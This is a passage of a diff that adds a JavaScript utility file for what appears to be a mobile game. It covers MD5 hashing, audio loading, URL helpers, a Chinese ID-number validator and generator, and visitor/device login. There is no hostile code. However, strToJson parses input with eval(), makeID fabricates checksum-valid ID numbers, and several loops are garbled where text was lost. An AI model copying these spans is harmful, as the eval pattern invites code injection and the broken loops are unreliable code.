+ a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510); + d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632); + c = md5_gg(c, d, a, b, x[i+11], 14, 643717713); + b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302); + a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691); + d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083); + c = md5_gg(c, d, a, b, x[i+15], 14, -660478335); + b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848); + a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438); + d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690); + c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961); + b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501); + a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467); + d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784); + c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473); + b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734); + + a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558); + d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463); + c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562); + b = md5_hh(b, c, d, a, x[i+14], 23, -35309556); + a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060); + d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353); + c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632); + b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640); + a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174); + d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222); + c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979); + b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189); + a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487); + d = md5_hh(d, a, b, c, x[i+12], 11, -421815835); + c = md5_hh(c, d, a, b, x[i+15], 16, 530742520); + b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651); + + a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844); + d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415); + c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905); + b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055); + a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571); + d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606); + c = md5_ii(c, d, a, b, x[i+10], 15, -1051523); + b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799); + a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359); + d = md5_ii(d, a, b, c, x[i+15], 10, -30611744); + c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380); + b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649); + a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070); + d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379); + c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259); + b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551); + + a = safe_add(a, olda); + b = safe_add(b, oldb); + c = safe_add(c, oldc); + d = safe_add(d, oldd); + } + return Array(a, b, c, d); + +} + +/* + * These functions implement the four basic operations the algorithm uses. + */ +function md5_cmn(q, a, b, x, s, t) +{ + return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b); +} +function md5_ff(a, b, c, d, x, s, t) +{ + return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); +} +function md5_gg(a, b, c, d, x, s, t) +{ + return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); +} +function md5_hh(a, b, c, d, x, s, t) +{ + return md5_cmn(b ^ c ^ d, a, b, x, s, t); +} +function md5_ii(a, b, c, d, x, s, t) +{ + return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); +} + +/* + * Calculate the HMAC-MD5, of a key and some data + */ +function core_hmac_md5(key, data) +{ + var bkey = str2binl(key); + if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz); + + var ipad = Array(16), opad = Array(16); + for(var i = 0; i < 16; i++) + { + ipad[i] = bkey[i] ^ 0x36363636; + opad[i] = bkey[i] ^ 0x5C5C5C5C; + } + + var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz); + return core_md5(opad.concat(hash), 512 + 128); +} + +/* + * Add integers, wrapping at 2^32. This uses 16-bit operations internally + * to work around bugs in some JS interpreters. + */ +function safe_add(x, y) +{ + var lsw = (x & 0xFFFF) + (y & 0xFFFF); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xFFFF); +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function bit_rol(num, cnt) +{ + return (num << cnt) | (num >>> (32 - cnt)); +} + +/* + * Convert a string to an array of little-endian words + * If chrsz is ASCII, characters >255 have their hi-byte silently ignored. + */ +function str2binl(str) +{ + var bin = Array(); + var mask = (1 << chrsz) - 1; + for(var i = 0; i < str.length * chrsz; i += chrsz) + bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32); + return bin; +} + +/* + * Convert an array of little-endian words to a string + */ +function binl2str(bin) +{ + var str = ""; + var mask = (1 << chrsz) - 1; + for(var i = 0; i < bin.length * 32; i += chrsz) + str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask); + return str; +} + +/* + * Convert an array of little-endian words to a hex string. + */ +function binl2hex(binarray) +{ + var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i++) + { + str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) + + hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF); + } + return str; +} + +/* + * Convert an array of little-endian words to a base-64 string + */ +function binl2b64(binarray) +{ + var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i += 3) + { + var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16) + | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 ) + | ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF); + for(var j = 0; j < 4; j++) + { + if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; + else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); + } + } + return str; +} + +var _context = null; +var _gameSoundsObj = {}; +_gameSoundsObj.loadCount = 0; +_gameSoundsObj.completedLoad = 0; +_gameSoundsObj.completed = false; +_gameSoundsObj.soundList = {}; +_gameSoundsObj.requestList = {}; +_gameSoundsObj.autoBgmList = {}; +_gameSoundsObj.loadAudio = function(item,callback){ + var src = "assets/wav/"+item.src; + if (!_context) callback('Audio Downloader: no web audio context.',null); + + //var request = new XMLHttpRequest(); + //request.open("GET", src, true); + //request.responseType = "arraybuffer"; + + //request.onload = function () { + //_context["decodeAudioData"](request.response, function(buffer){ + //item.buffer = buffer; + //_gameSoundsObj.soundList[item.id] = item; + //_gameSoundsObj.soundList[item.id].touched = false; + //callback(null, item.src); + //}, function(){ + //callback('decode error - ' + item.src,null); + //}); + //}; + + //request.onerror = function(){ + //callback('request error - ' + item.src,null); + //}; + + //request.send(); + _gameSoundsObj.requestList[item.src] = new XMLHttpRequest(); + _gameSoundsObj.requestList[item.src].open("GET", src, true); + _gameSoundsObj.requestList[item.src].responseType = "arraybuffer"; + + _gameSoundsObj.requestList[item.src].onload = function () { + _context["decodeAudioData"](_gameSoundsObj.requestList[item.src].response, function(buffer){ + item.buffer = buffer; + _gameSoundsObj.completedLoad++; + //logmessage(_gameSoundsObj.completedLoad+"/"+_gameSoundsObj.loadCount,1); + _gameSoundsObj.soundList[item.id] = item; + _gameSoundsObj.soundList[item.id].touched = false; + //var source = _context.createBufferSource(); + //source.buffer = _gameSoundsObj.soundList[item.id].buffer;// + //source.connect(_context.destination);// + callback(null, item.src); + }, function(){ + callback('decode error - ' + item.src,null); + }); + }; + + _gameSoundsObj.requestList[item.src].onerror = function(){ + callback('request error - ' + item.src,null); + }; + + _gameSoundsObj.requestList[item.src].send(); + if(GameData.OS == ConstVal.OS.apple){ + document.addEventListener('touchstart', function () { + //logmessage("touchstart1",1); + if(!_gameSoundsObj.completed){ + //logmessage("touchstart2",1); + var scount = 0; + for(src in _gameSoundsObj.soundList){ + scount++; + //for(var i=0;i<_gameSoundsObj.soundList[src].sourceList.length;i++){ + try{ + if(!_gameSoundsObj.soundList[src].touched){ + //logmessage("touched"+_gameSoundsObj.soundList[src].id,1); + _gameSoundsObj.soundList[src].touched = true; + _gameSoundsObj.soundList[src].connected = true; + var source = _context.createBufferSource(); + source.buffer = _gameSoundsObj.soundList[src].buffer;// + source.connect(_context.destination);// + } + + }catch(e){ + + } + //} + } + + for(src in _gameSoundsObj.autoBgmList){ + try{ + + //logmessage(src+"touched:"+_gameSoundsObj.soundList[src].touched+"、connected:"+_gameSoundsObj.soundList[src].connected,1); + if(_gameSoundsObj.soundList[src].touched && _gameSoundsObj.soundList[src].connected){ + //logmessage("autoBgmList:"+_gameSoundsObj.soundList[src].id,1); + _gameSoundsObj.play(src,true); + delete _gameSoundsObj.autoBgmList.src; + break; + } + + }catch(e){ + + } + } + + for(var i=0;i0){//背景音 + return; + } + //logmessage("_gameSoundsObj.play2",1); + var source = _context.createBufferSource(); + + source.buffer = item.buffer;// + source.connect(_context.destination);// + source.loop = loop; + source.playing = true; + source.isEnded = false; + source.onended = function(){ + this.isEnded = true; + this.playing = false; + _gameSoundsObj.clearEndedSource(); + } + item.sourceList.push(source); + //logmessage("play",1); + source.start(0);// + }catch(e){ + } + +} +_gameSoundsObj.stop = function(src){ + try{ + //logmessage("stop1:"+src,1); + for(var i=0;i<_gameSoundsObj.soundList[src].sourceList.length;i++){ + //logmessage("stop2:"+src,1); + if(!_gameSoundsObj.soundList[src].sourceList[i].isEnded){ + + _gameSoundsObj.soundList[src].sourceList[i].stop(); + _gameSoundsObj.soundList[src].sourceList[i].isEnded = true; + _gameSoundsObj.soundList[src].sourceList[i].splice(i,1); + i--; + } + + } + for(src in _gameSoundsObj.autoBgmList){ + try{ + //logmessage(src+"touched2:"+_gameSoundsObj.soundList[src].touched+"、connected:"+_gameSoundsObj.soundList[src].connected,1); + if(_gameSoundsObj.soundList[src]){ + //logmessage("autoBgmList2:"+_gameSoundsObj.soundList[src].id,1); + delete _gameSoundsObj.autoBgmList.src; + } + + }catch(e){ + + } + } + }catch(e){ + + } +} +_gameSoundsObj.clearAllSource = function(src){ + for(var i=0;i<_gameSoundsObj.soundList[src].sourceList.length;i++){ + try{ + if(!_gameSoundsObj.soundList[src].sourceList[i].isEnded){ + _gameSoundsObj.soundList[src].sourceList[i].stop(); + } + _gameSoundsObj.soundList[src].sourceList = null; + }catch(e){ + + } + } + _gameSoundsObj.soundList[src].sourceList = []; +} +_gameSoundsObj.clearEndedSource = function(){ + for(src in _gameSoundsObj.soundList){ + for(var i=0;i<_gameSoundsObj.soundList[src].sourceList.length;i++){ + try{ + if(_gameSoundsObj.soundList[src].sourceList[i].isEnded){ + _gameSoundsObj.soundList[src].sourceList.splice(i,1); + i--; + } + + }catch(e){ + + } + } + } + +} +var dynamicLoading = { + css: function(path){ + if(!path || path.length === 0){ + throw new Error('argument "path" is required !'); + } + var head = document.getElementsByTagName('head')[0]; + var link = document.createElement('link'); + link.href = path; + link.rel = 'stylesheet'; + link.type = 'text/css'; + head.appendChild(link); + }, + js: function(path){ + if(!path || path.length === 0){ + throw new Error('argument "path" is required !'); + } + var head = document.getElementsByTagName('head')[0]; + var script = document.createElement('script'); + script.src = path; + script.type = 'text/javascript'; + head.appendChild(script); + } +} +var setPostUrl = function setPostUrl(url){ + GameData.sharePostUrl = url; +} +var isArray = function isArray(o){ + return Object.prototype.toString.call(o)=='[object Array]'; +} +var gameLog = function gameLog(msg,mode){ + //logmessage(msg,1); +} +var checkMobile = function checkMobile(sMobile){ + //var sMobile = document.mobileform.mobile.value + ///^1[3|4|5|7|8|9][0-9]{9}$/ + if(!(/^1[3|4|5|6|7|8|9][0-9]{9}$/.test(sMobile))){ + return false; + } + return true; +} +var sliceStrByKey = function(str,key){ + var idx = str.indexOf(key); + if(idx>-1){ + return str.slice(0,idx); + } + return str; +} +//获取网页参数 +var fGetQuery = function(name){//获取参数值 + //var sUrl = window.location.search.substr(1); + //var r = sUrl.match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)")); + //return (r == null ? null : unescape(r[2])); + if(typeof(window.location.search)!="undefined"&&window.location.search!=''){ + + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + var r = window.location.search.substr(1).match(reg); + if (r != null) { + return r[2]; + } + } + return null; +} +var fGetQuery1 = function(url,name){//获取参数值 + //if(typeof(window.location.search)!="undefined"&&window.location.search!=''){ + + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + var r = url.slice(url.indexOf("?"),url.length).substr(1).match(reg); + if (r != null) { + return r[2]; + } + //} + return null; +} + +var fixUrl = function(url){ + + var idx = url.indexOf("?"); + if(idx>-1){ + var preUrl = url.substr(0,idx+1); + var subUrl = url.substr(idx+1,url.length); + return preUrl+min_replaceAll(subUrl,"\\?","&"); + }else{ + return url; + } +} +var addParam = function(url,paramKey,paramVal){ + var andStr = "?"; + var beforeparam = url.indexOf("?"); + if(beforeparam != -1){ + andStr = "&"; + } + return url + andStr + paramKey + "="+ encodeURIComponent(paramVal); +} +var delParam = function(url,paramKey){ + var urlParam = url.substr(url.indexOf("?")+1); + var beforeUrl = url.substr(0,url.indexOf("?")); + var nextUrl = ""; + + var arr = new Array(); + if(urlParam!=""){ + var urlParamArr = urlParam.split("&"); + + for(var i=0;i0){ + nextUrl = "?"+arr.join("&"); + } + url = beforeUrl+nextUrl; + return url; +} +var Func=Func||{}; +var bForcepc = fGetQuery("dv") == "pc"; +//获取当前系统 +var fBrowserRedirect = function(){ +//function fBrowserRedirect(){ + var sUserAgent = navigator.userAgent.toLowerCase(); + var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; + var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; + var bIsMidp = sUserAgent.match(/midp/i) == "midp"; + var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; + var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb"; + var bIsAndroid = sUserAgent.match(/android/i) == "android"; + var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; + var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; + if(bIsIpad||bIsIphoneOs){ + return ConstVal.OS.apple; + } + + if(bIsAndroid){ + return ConstVal.OS.android; + } + if(bIsWM){ + return ConstVal.OS.winphone; + } + return ConstVal.OS.other; + +} +var getQueryString =function(name) { + if(typeof(window.location.search)!="undefined"&&window.location.search!=''){ + + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + var r = window.location.search.substr(1).match(reg); + if (r !== null) { + return r[2]; + } + } + return null; +} + +var strToJson =function(str){ + var json = eval('(' + str + ')'); + return json; + //return JSON.parse(str); + +} +//获取字符字节长度 +String.prototype.gblen = function() { + var len = 0; + for (var i=0; i127 || this.charCodeAt(i)==94) { + len += 2; + } else { + len ++; + } + } + return len; +} + +//克隆数组 +Func.cloneArray = function(input_arr){ + return [].concat(input_arr); +} +//精确乘法 +Func.accMul = function(arg1,arg2){ + var m=0,s1=arg1.toString(),s2=arg2.toString(); + try{m+=s1.split(".")[1].length}catch(e){} + try{m+=s2.split(".")[1].length}catch(e){} + return Number(s1.replace(".",""))*Number(s2.replace(".",""))/Math.pow(10,m); +} +//敏感词过滤 +Func.filter = function(str) { + for (var i = 0; i < arrBan.length; i++) { + if(str.indexOf(arrBan[i])>=0 && arrBan[i]){ + return true; + } + } + return false; + + +} +//字符是否为空 +Func.strisNull =function( str ){ + if ( str == "" ) return true; + var regu = "^[ ]+$"; + var re = new RegExp(regu); + return re.test(str); +} +Func.setTextArea = function(id,isResize,maxlen){//精灵id,是否禁用大小调整,最大输入长度 + var obj = null; + obj = gameabc_face.getdiv("div"+id); + if(isResize){ + obj.style.resize = "none"; + } + if(maxlen){ + try{ + maxlen = Number(maxlen); + }catch(e){ + return ; + } + obj.maxLength = maxlen; + } + obj = null; + +} +Func.setInput = function(id,maxlen){//精灵id,是否禁用大小调整,最大输入长度 + other_setdom("div"+id,"maxlength",maxlen); + +} +Func.SetText=function(_msg,len){ + var text_copy=""; + for(var k=0;k<_msg.length;k++){ + text_copy+=_msg[k]; + if(k%len==0&&k!=0){ + text_copy+="\n"; + } + } + return text_copy; +} +Func.AjaxHttp = function(_data, func_callbackSucc, func_callbackFail, obj_inputmsg) +{ +// + var obj_config = {}; + obj_config.url = GameData.AjaxUrl; + obj_config.callbackdata = obj_inputmsg; + obj_config.data = JSON.stringify(_data); + obj_config.type = "POST"; + obj_config.success = func_callbackSucc; + obj_config.error = func_callbackFail; + min_http(obj_config); +} +Func.AjaxHttp2 = function(_url,_data, func_callbackSucc, func_callbackFail, obj_inputmsg) +{ + + var obj_config = {}; + obj_config.url = _url; + obj_config.callbackdata = obj_inputmsg; + obj_config.data = JSON.stringify(_data); + obj_config.type = "POST"; + obj_config.success = func_callbackSucc; + obj_config.error = func_callbackFail; + min_http(obj_config); +} +Func.AjaxHttp3 = function(_url,_data, func_callbackSucc, func_callbackFail, obj_inputmsg) +{ + //var sData = "?"; + //for(var key in _data){ + //sData += "&"+key+"="+_data[key]; + //} + var obj_config = {}; + obj_config.url = _url; + obj_config.callbackdata = obj_inputmsg; + obj_config.data = _data; + obj_config.type = "POST"; + obj_config.success = func_callbackSucc; + obj_config.error = func_callbackFail; + min_http(obj_config); +} +var IDValidator = function() { + var param = { + error : { + longNumber : '长数字存在精度问题,请使用字符串传值! Long number is not allowed, because the precision of the Number In JavaScript.' + } + }; + var util = { + checkArg : function(id) { + var argType = (typeof id); + + switch (argType) { + case 'number': + // long number not allowed + id = id.toString(); + if (id.length > 15) { + this.error(param.error.longNumber); + return false; + } + break; + case 'string': + break; + default: + return false; + } + id = id.toUpperCase(); + var code = null; + if (id.length === 18) { + // 18位 + code = { + body : id.slice(0, 17), + checkBit : id.slice(-1), + type : 18 + }; + } else if (id.length === 15) { + // 15位 + code = { + body : id, + type : 15 + }; + } else { + return false; + } + return code; + } + // 地址码检查 + , + checkAddr : function(addr, GB2260) { + var addrInfo = this.getAddrInfo(addr, GB2260); + return (addrInfo === false ? false : true); + } + // 取得地址码信息 + , + getAddrInfo : function(addr, GB2260) { + GB2260 = GB2260 || null; + // 查询GB/T2260,没有引入GB2260时略过 + if (GB2260 === null) { + return addr; + } + if (!GB2260.hasOwnProperty(addr)) { + // 考虑标准不全的情况,搜索不到时向上搜索 + var tmpAddr; + tmpAddr = addr.slice(0, 4) + '00'; + if (!GB2260.hasOwnProperty(tmpAddr)) { + tmpAddr = addr.slice(0, 2) + '0000'; + if (!GB2260.hasOwnProperty(tmpAddr)) { + return false; + } else { + return GB2260[tmpAddr] + '未知地区'; + } + } else { + return GB2260[tmpAddr] + '未知地区'; + } + } else { + return GB2260[addr]; + } + } + // 生日码检查 + , + checkBirth : function(birth) { + var year, month, day; + if (birth.length == 8) { + year = parseInt(birth.slice(0, 4), 10); + month = parseInt(birth.slice(4, 6), 10); + day = parseInt(birth.slice(-2), 10); + } else if (birth.length == 6) { + year = parseInt('19' + birth.slice(0, 2), 10); + month = parseInt(birth.slice(2, 4), 10); + day = parseInt(birth.slice(-2), 10); + } else { + return false; + } + // TODO 是否需要判断年份 + /* + * if( year<1800 ){ return false; } + */ + // TODO 按月份检测 + if (month > 12 || month === 0 || day > 31 || day === 0) { + return false; + } + + return true; + } + // 顺序码检查 + , + checkOrder : function(order) { + // 暂无需检测 + + return true; + } + // 加权 + , + weight : function(t) { + return Math.pow(2, t - 1) % 11; + } + // 随机整数 + , + rand : function(max, min) { + min = min || 1; + return Math.round(Math.random() * (max - min)) + min; + } + // 数字补位 + , + str_pad : function(str, len, chr, right) { + str = str.toString(); + len = len || 2; + chr = chr || '0'; + right = right || false; + if (str.length >= len) { + return str; + } else { + for (var i = 0, j = len - str.length; i < j; i++) { + if (right) { + str = str + chr; + } else { + str = chr + str; + } + } + return str; + } + } + // 抛错 + , + error : function(msg) { + var e = new Error(); + e.message = 'IDValidator: ' + msg; + throw e; + } + }; + var _IDValidator = function(GB2260) { + if (typeof GB2260 !== "undefined") { + this.GB2260 = GB2260; + } + // 建立cache + this.cache = {}; + }; + _IDValidator.prototype = { + isValid : function(id) { + var GB2260 = this.GB2260 || null; + var code = util.checkArg(id); + if (code === false) { + return false; + } + // 查询cache + if (this.cache.hasOwnProperty(id) + && typeof this.cache[id].valid !== 'undefined') { + return this.cache[id].valid; + } else { + if (!this.cache.hasOwnProperty(id)) { + this.cache[id] = {}; + } + } + + var addr = code.body.slice(0, 6); + var birth = (code.type === 18 ? code.body.slice(6, 14) : code.body + .slice(6, 12)); + var order = code.body.slice(-3); + + if (!(util.checkAddr(addr, GB2260) && util.checkBirth(birth) && util + .checkOrder(order))) { + this.cache[id].valid = false; + return false; + } + + // 15位不含校验码,到此已结束 + if (code.type === 15) { + this.cache[id].valid = true; + return true; + } + + /* 校验位部分 */ + + // 位置加权 + var posWeight = []; + for (var i = 18; i > 1; i--) { + var wei = util.weight(i); + posWeight[i] = wei; + } + + // 累加body部分与位置加权的积 + var bodySum = 0; + var bodyArr = code.body.split(''); + for (var j = 0; j < bodyArr.length; j++) { + bodySum += (parseInt(bodyArr[j], 10) * posWeight[18 - j]); + } + + // 得出校验码 + var checkBit = 12 - (bodySum % 11); + if (checkBit == 10) { + checkBit = 'X'; + } else if (checkBit > 10) { + checkBit = checkBit % 11; + } + checkBit = (typeof checkBit === 'number' ? checkBit.toString() + : checkBit); + + // 检查校验码 + if (checkBit !== code.checkBit) { + this.cache[id].valid = false; + return false; + } else { + this.cache[id].valid = true; + return true; + } + + } + + // 分析详细信息 + , + getInfo : function(id) { + var GB2260 = this.GB2260 || null; + // 号码必须有效 + if (this.isValid(id) === false) { + return false; + } + // TODO 复用此部分 + var code = util.checkArg(id); + + // 查询cache + // 到此时通过isValid已经有了cache记录 + if (typeof this.cache[id].info !== 'undefined') { + return this.cache[id].info; + } + + var addr = code.body.slice(0, 6); + var birth = (code.type === 18 ? code.body.slice(6, 14) : code.body + .slice(6, 12)); + var order = code.body.slice(-3); + + var info = {}; + info.addrCode = addr; + if (GB2260 !== null) { + info.addr = util.getAddrInfo(addr, GB2260); + } + info.birth = (code.type === 18 ? (([ birth.slice(0, 4), + birth.slice(4, 6), birth.slice(-2) ]).join('-')) : ([ + '19' + birth.slice(0, 2), birth.slice(2, 4), + birth.slice(-2) ]).join('-')); + info.sex = (order % 2 === 0 ? 0 : 1); + info.length = code.type; + if (code.type === 18) { + info.checkBit = code.checkBit; + } + + // 记录cache + this.cache[id].info = info; + + return info; + } + + // 仿造一个号 + , + makeID : function(isFifteen) { + var GB2260 = this.GB2260 || null; + + // 地址码 + var addr = null; + if (GB2260 !== null) { + var loopCnt = 0; + while (addr === null) { + // 防止死循环 + if (loopCnt > 10) { + addr = 110101; + break; + } + var prov = util.str_pad(util.rand(50), 2, '0'); + var city = util.str_pad(util.rand(20), 2, '0'); + var area = util.str_pad(util.rand(20), 2, '0'); + var addrTest = [ prov, city, area ].join(''); + if (GB2260[addrTest]) { + addr = addrTest; + break; + } + } + } else { + addr = 110101; + } + + // 出生年 + var yr = util.str_pad(util.rand(99, 50), 2, '0'); + var mo = util.str_pad(util.rand(12, 1), 2, '0'); + var da = util.str_pad(util.rand(28, 1), 2, '0'); + if (isFifteen) { + return addr + yr + mo + da + + util.str_pad(util.rand(999, 1), 3, '1'); + } + + yr = '19' + yr; + var body = addr + yr + mo + da + + util.str_pad(util.rand(999, 1), 3, '1'); + + // 位置加权 + var posWeight = []; + for (var i = 18; i > 1; i--) { + var wei = util.weight(i); + posWeight[i] = wei; + } + + // 累加body部分与位置加权的积 + var bodySum = 0; + var bodyArr = body.split(''); + for (var j = 0; j < bodyArr.length; j++) { + bodySum += (parseInt(bodyArr[j], 10) * posWeight[18 - j]); + } + + // 得出校验码 + var checkBit = 12 - (bodySum % 11); + if (checkBit == 10) { + checkBit = 'X'; + } else if (checkBit > 10) { + checkBit = checkBit % 11; + } + checkBit = (typeof checkBit === 'number' ? checkBit.toString() + : checkBit); + + return (body + checkBit); + } + + };// _IDValidator + GB2260 = GB2260 == null ? "" : GB2260; + return new _IDValidator(GB2260); +} +Func.subString=function(str, len, hasDot) +{ + var newLength = 0; + var newStr = ""; + var chineseRegex = /[^\x00-\xff]/g; + var singleChar = ""; + var strLength = str.replace(chineseRegex,"**").length; + for(var i = 0;i < strLength;i++) + { + singleChar = str.charAt(i).toString(); + if(singleChar.match(chineseRegex) != null) + { + newLength += 2; + } + else + { + newLength++; + } + if(newLength > len) + { + break; + } + newStr += singleChar; + } + + if(hasDot && strLength > len) + { + newStr += "..."; + } + return newStr; +} +Func.subString2=function(str, len, hasDot) +{ + var newLength = 0; + var newStr = ""; + var chineseRegex = /[^\x00-\xff]/g; + var singleChar = ""; + var strLength = str.replace(chineseRegex,"**").length; + for(var i = 0;i < strLength;i++) + { + singleChar = str.charAt(i).toString(); + if(singleChar.match(chineseRegex) != null) + { + newLength += 2; + } + else + { + newLength++; + } + if(newLength > len) + { + break; + } + newStr += singleChar; + } + + if(hasDot && strLength > len) + { + newStr += "..."; + } + return newStr; +} +Func.getKeywordCount = function(str,keyword){ + var reg = new RegExp(keyword,"g"); + var result = str.match(reg); + if(result){ + return result.length; + } + return 0; +} + +//设置普通震动 +Func.vibrator=function(time){ + try{ + if(GameData.appstate){ + window.settings.vibrator(time); + } + }catch(e){ + + } +} +//是否重复震动 +Func.repeatvibrator=function(repeat){ + try{ + if(GameData.appstate){ + window.settings.repeatvibrator(repeat); + } + }catch(e){ + + } +} +//取消震动 +Func.canclevibrator=function(){ + try{ + window.settings.canclevibrator(); + }catch(e){ + + } +} +//横竖屏 orientation 1 为横屏 2 为竖屏 +Func.orientation=function(Orientation){ + try{ + window.settings.orientation(Orientation); + }catch(e){ + + } +} +//通知 +Func.notification=function(Ticker,title,content){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 + //var Ticker//手机状态栏通知 + //var title//标题 + //var content//内容 + try{ + window.settings.notification(Ticker,title,content); + }catch(e){ + + } +} +Func.sharefinend=function(sharefriend,type,webpageUrl,title,description,spidList){ + GameData.shareFriendInfo = { + sharefriend:sharefriend, + type:type, + webpageUrl:webpageUrl, + title:title, + description:description, + spidList:spidList + }; + //h5和非h5 + if(GameData.sysConfig.otherShare == 2){ + if(!GameData.h5Version){ + GameUI.openSharePannel(); + }else{ + Func.sharefriend(GameData.shareFriendInfo); + } + }else{ + Func.sharefriend(GameData.shareFriendInfo); + } +} + +Func.visitorLogin = function(){ + //游客身份登入,随机游客数据 + GameData.isVisitor = true; + GameData.isDeviceLogin = false; + var WxInfo = Utl.ReadData(Utl.Config.visitorinfo); + if(WxInfo != null){ + WxInfo = JSON.parse(WxInfo); + sharelogin(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid); + }else{ + var ram = 100000+ifast_random(100000); + var headLoginList=["http://img5.imgtn.bdimg.com/it/u=110166870,238965605&fm=27&gp=0.jpg", + "http://www.qqzhi.com/uploadpic/2015-01-15/200511535.jpg", + "http://img0.imgtn.bdimg.com/it/u=2722294531,1396252661&fm=27&gp=0.jpg", + "http://p2.gexing.com/touxiang/20130201/1735/510b8c7c1e572_200x200_3.jpg?recache=20131108", + "http://www.qqzhi.com/uploadpic/2015-01-15/200512924.jpg"]; + sharelogin(""+ram,headLoginList[ifast_random(headLoginList.length)],"游客"+ram,ifast_random(2)+1,"nanchang","jiangxi","ylgame"+ram); + } + +} +Func.deviceLogin = function(phone,sms){ + //设备登录 + GameData.isVisitor = false; + GameData.isDeviceLogin = true; + var WxInfo = Utl.getCookie(Utl.Config.devicePlayer); + if(WxInfo){ + WxInfo = JSON.parse(WxInfo); + sharelogin(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid,phone,sms); + }else{ + var unionid = min_randomChar(25); + if(GameData.phoneInfo){ + if(GameData.phoneInfo.PhoneIMEI){ + unionid = GameData.phoneInfo.PhoneIMEI; + }else{ + //GameUI.OpenTips("请到设置中打开游戏读取手机信息权限"); + GameData.phoneInfo.PhoneIMEI = unionid; + Utl.SaveData(Utl.Config.phoneInfo1,JSON.stringify(GameData.phoneInfo)); + } + }else{ + //GameUI.OpenTips("请到设置中打开游戏读取手机信息权限"); + GameData.phoneInfo = { + PhoneIMEI:unionid + }; + Utl.SaveData(Utl.Config.phoneInfo1,JSON.stringify(GameData.phoneInfo)); + } + var ram = 100000+ifast_random(100000); + + var name2 = String(hex_md5(unionid)).slice(0,6); + var avatar = ""; + if(GameData.sysConfig.avatarUrl){ + var avatar = GameData.sysConfig.avatarUrl + min_random(GameData.sysConfig.avatarRange[0], + GameData.sysConfig.avatarRange[1])+".jpg"; + } + var nickName = "User_"+name2; + sharelogin(unionid,avatar,nickName,ifast_random(2)+1, + "China","HongKong",unionid,phone,sms); + //var ram1 = 10000+ifast_random(10000); + + } + +} +Func.phoneLogin = function(phone,sms){ + //手机登录 + GameData.isVisitor = false; + 